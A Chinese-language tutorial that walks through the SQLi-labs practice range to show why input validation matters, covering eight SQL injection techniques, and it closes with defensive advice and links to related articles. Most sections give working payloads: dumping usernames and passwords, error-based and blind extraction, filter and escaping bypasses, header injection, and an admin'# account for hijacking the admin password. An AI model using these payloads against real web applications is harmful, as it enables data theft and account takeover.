学习编程之初就常被告诫:“永远不要相信用户的输入”,但实际编码中,可能因为各种原因而忽略这点,本文尝试以 SQL 注入的角度探寻校验输入的重要性

以下实验均以 SQLI labs 靶场为例


1. 联合注入(Union-Based)

来自:Less-1

这是一个常见的查询页面。http://127.0.0.1/Less-1/?id=1 ,通过 id=1 传递参数。后端常见的 SQL 写法:SELECT * FROM users WHERE id='$id' LIMIT 0,1;

攻击者可以通过构造 id 的参数值,执行任意的 SQL 语句:

其中关键步骤是构造 1' --+

  1. 通过某个具体参数 1 和 单引号 ' 来结束前面的语句:SELECT * FROM users WHERE id=',使其成为合法的 SQL 语句: SELECT * FROM users WHERE id='1'
  2. 通过 --+ 来注释后面的 ' LIMIT 0,1";

基于上面的原理,我们就可以在 1'--+ 之间插入语句了,进行联合注入,具体步骤如下:

  1. 通过 order by 测列宽:?id=-1' order by 4 --+,通过不断尝试和错误提示可以得知列宽为 3

  2. 判断回显值对应的位置,?id=-1' union select 1,2,3 --+,2 和 3 这两个位置都可供使用

  3. 在某个可回显的位置执行 select 语句:?id=-1' union select 1,2, database() --+

你可以能会想,这又啥用呢?但实际上在没有严格权限管理的数据库上,我们可以通过构造下面语句获得所有库表的信息

--+ 1. 查库:查询所有数据库的名称
SELECT schema_name FROM information_schema.schemata
--+ 2. 查表:查询指定数据库中的所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='security'
--+ 3. 查列:查询表中的所有列
SELECT column_name FROM information_schema.columns WHERE table_name='users'
--+ 4. 查字段:获取用户表中的敏感数据,如用户名和密码
SELECT username, password FROM security.users

举个例子:我们可以通过构造语句,获取所有的账户和密码,将其通过 ~ 进行分隔:?id=-1' union select 1,2, group_concat(concat_ws('~',username,password)) from security.users --+


2. 报错注入(Error-Based)

来自:Less-5

不是所有场景都会回显数据库值,那是否就安全了?攻击者可以通过显示的错误来获取数据库值

--+ 0x7e 为 16 进制编码的 ~
SELECT updatexml(1, concat(0x7e, database()), 1) FROM DUAL;

通过函数构造错误,将期望的信息以错误的信息提示出来:?id=1' and updatexml(1,concat(0x7e,(database())),1) --+

XPATH syntax error: '~security'

通过上面的错误我们就知道当前库名为:security,类似地可以执行任意语句


3. 布尔盲注(Boolean-Based Blind)

来自:Less-7

一般项目都会隐藏错误堆栈,只提示成功或者失败,可以使用布尔盲注:?id=1')) and left((select database()),1)='s'--+

  1. 通过 order by 测列宽 ?id=1')) order by 4 --+
  2. 通过 left 函数,逐个字符地遍历判断 ?id=1')) and left((select database()),1)='s'--+ ,当前库名首字母为 s 时会提示正确,否则提示错误

tips:这里使用的是 ?id=1')) 有别于前文的 1',这是因为不同 SQL 语句可能对变量采用不同的闭合方式,注入时要符合原 SQL 语句,否则会出现 SQL 语法错误

通过类似的原理我们可以按照行列顺序依次遍历:

--+ 0x7365637572697479 为 16 进制编码的 security,使用 16 进制编码可以避免使用单引号

?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+

再配合二分法提高效率,最终也能得到所有库表信息

4. 时间盲注(Time-Based Blind)

来自:Less-9

如果没给出提示,或者无论正确与否都给出相同提示,那该怎么办呢?可以使用时间盲注

在语句中调用 sleep() 函数,通过网页响应速度来判断是否为我们预期的结果

构造 ?id=10' and sleep(5) --+ 来判断当前接口是否支持时间盲注,遍历过程与布尔盲注类似,增加了 if 函数,结果符合预期返回 1,否则执行 sleep(5)

?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>1112,1,sleep(5))--+

5. 绕过过滤(Bypass)

来自:Less-25

既然可以通过盲注来执行任意指令,那就直接加强参数的检查, 替换(或过滤)所有的 or 和 and

攻击者可以通过双写的方式绕过:oorr → 被过滤后变为 or,也可以通过 || 替代 OR&& 替代 AND

--+ ;%00 等效于 --+ 。%00是 URL 编码表示的空字符(NUL 字符),其 ASCII 值为 0

?id=10' oorrder by 2;%00

6. 宽字节注入(GBK Bypass)

来自:Less-32

既然替换保留字符也能被绕过,那就将参数中的单引号进行转义:' 转义为 \'

攻击者可以通过宽字节注入的方式使得转义符号失效,构造请求?id=1%df' order by 4 --+

单引号 为 %27,而 \%5c。PHP 后端在接受到参数时发现有单引号,就自动在其前面加上\,变成 \',即 %5c%27

我们在其前面加上 %df,构造出 %df\',即 %df%5c%27

数据库使用 GBK 编码时 %df%5c 会被解码为 \ 被“吃掉了”,单引号被保留,故可以执行我们期望的 SQL。类似的方法还有将 UTF-8 转换为 UTF-16 或 UTF-32,将 ' 转为 UTF-16


7. Header 注入(HTTP Header Injection)

来自:Less-18

假设我严格地检查所有参数,那是否就安全了呢?

攻击者可以在插入请求头信息时进行攻击,下面为常见的登陆信息收集,uagent 来自用户的请求头 User-Agent

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

在访问页面时构造 HTTP Header:User-Agent: 'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'= '1,配合报错注入获得库表信息。类似的攻击还可以使用 RefererCookie 等等


8. 二次注入(Second-Order)

来自:Less-24

假设我们对所有参数和 HTTP Header 都严格检查,肯定就安全了吧?攻击者还可以通过二次注入的方式绕过你的检查

这是一个经典的用户登陆页面,包含创建用户,登陆后可以修改用户密码

修改密码的 SQL 如下:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

攻击者可以通过构建用户 admin'#

登陆该用户修改密码,实现间接修改掉 admin 超级用户的密码:

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

--+ 移除注释,等价于
UPDATE users SET PASSWORD='$pass' where username='admin'

结尾

我们可能觉得现代框架和工具链可以避免这些问题,但通过上面的例子可以感受到,道高一尺魔高一丈,稍有疏忽就可能被利用

SQL注入的本质是:攻击者通过操控用户输入的方式,改变原本的SQL查询结构,从而绕过应用程序的安全策略,执行恶意指令。我们可以从不同的角度进行防御:

  • 校验用户输入
  • 操作前进行详尽的校验包括已入库的数据
  • 细化数据库账户权限
  • 结合 WAF、日志监控、定期渗透测试
  • ...

SQL注入攻击揭示的不仅是技术漏洞,更指向一个通用安全原则:任何外部输入都可能在与现有流程交互时引发非预期行为。这一安全思维可迁移至日常生活风险防控体系:

  • 查杀未知邮件的附件
  • 逐一检查合同
  • 对陌生通知通过官方渠道二次确认
  • 仔细评审合作方提供的材料
  • ...

参考资料

本文只为抛砖引玉,精简了部分细节,详情可以参考以下教程:

永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性的更多相关文章

  1. sql注入攻防 以php+mysql为例

    随着Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了Web开发的行列.但是由于程序员的水平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上 ...

  2. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  3. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  4. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  5. 【转载】SQL注入攻防入门详解

    滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长 ...

  6. Servlet课程0425(七) 到数据库中去验证用户,同时防止SQL注入漏洞

    Login.java //登录界面 package com.tsinghua; import javax.servlet.http.*; import java.io.*; public class ...

  7. 通过SQL注入获得网站后台用户密码

    通过 SQL 注入攻击,掌握网站的工作机制,认识到 SQL 注入攻击的防范措施,加强对 Web 攻击的防范. 一.实验环境 下载所需代码及软件:获取链接:链接:https://pan.baidu.co ...

  8. 【渗透课程】第五篇-SQL注入的原理

    哈哈哈,讲到注入了.我想给大家讲注入的原理.这个我们前面的前言篇就说过,所谓的SQL注入就是,绕过数据库验证机制直接执行SQL语句.怎么说呢,我们先讲一个概念吧! 网站和网页的区别 单纯的网页是静态的 ...

  9. SQL注入攻击的常见方式及测试方法

    本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预 ...

  10. 浅谈SQL注入

    先看一个sql语句: select * from admin where username='(此处为用户输入的数据)'; 在没有任何过滤的情况下,如果用户输入:' or 1=1 -- 这条语句就为: ...

随机推荐

  1. npm install报错的解决方法

    解决方法 node版本不对,问问前端开发,node版本是什么版本,用nvm install,并切换到正常的node版本: git代码有时候会有冲突,把前端项目中的依赖包node_modules 和 p ...

  2. openEuler欧拉部署Redis

    一.系统优化 关闭防火墙 systemctl stop firewalld systemctl disable firewalld 关闭selinux sed -ri 's/SELINUX=enfor ...

  3. 4 步缩减 Script Evaluation Time

    4 步缩减脚本评估时间 (Script Evaluation Time) https://touch.marfeel.com/resources/blog/reduce-script-evaluati ...

  4. GraphQL Part III: 依赖注入

    在 SOLID 设计原则中,D 表示依赖反转原则 高层组件不应该依赖于底层组件,双方应该基于抽象 抽象不应该依赖于实现,实现应该依赖于抽象 使用 new 操作符来创建对象实例会导致不同组件之间的紧耦合 ...

  5. Qt编写项目作品35-数据库综合应用组件

    一.功能特点 同时支持多种数据库比如odbc.sqlite.mysql.postgresql.sqlserver.oracle.人大金仓等. 一个数据库类即可管理本地数据库通信,也支持远程数据库通信等 ...

  6. 鸿蒙OS创新实践:动态声控话筒开发指南

    前言 在鸿蒙OS的生态中,开发者们不断探索和创新,以期为用户带来更丰富的交互体验.最近,我萌生了一个想法:制作一个能够随着声音动态变化的话筒组件.尽管网络上缺乏现成的参考案例,但我决定亲自动手,将这一 ...

  7. GeoJSON代码示例

    GeoJSON代码示例 1. 读取GeoJSON文件 1.1 实现思路 graph TD A[读取GeoJSON文件] --> B[读取GeoJSON文件内容] B --> C[解析Geo ...

  8. 零基础Windows Server搭建部署Word Press 博客系列教程(3):弱鸡变猛男之部署CDN加速和缓存加速

    我们博客里面存在的各种媒体文件.压缩文件.脚本文件,这些文件可能很大而且不需要随时生成.如果我们的服务器带宽很小,访问我们网站的用户等待加载完成就需要很长时间,那么访问速度会很慢.因此我们需要通过第三 ...

  9. Jmeter使用(1)_返回结果作为下一个的参数

    一.用户登录返回结果 {{"code":200, "token":"dbfab2d6c79e4981a86775f"}} 二.查询信息接口h ...

  10. Solution -「AGC 020F」Arcs on a Circle

    \(\mathscr{Description}\)   Link.   在一个周长为 \(c\) 的圆周上放置长度分别为 \(l_1,l_2,\cdots,l_n\) 的弧,每条弧的位置独立均匀随机. ...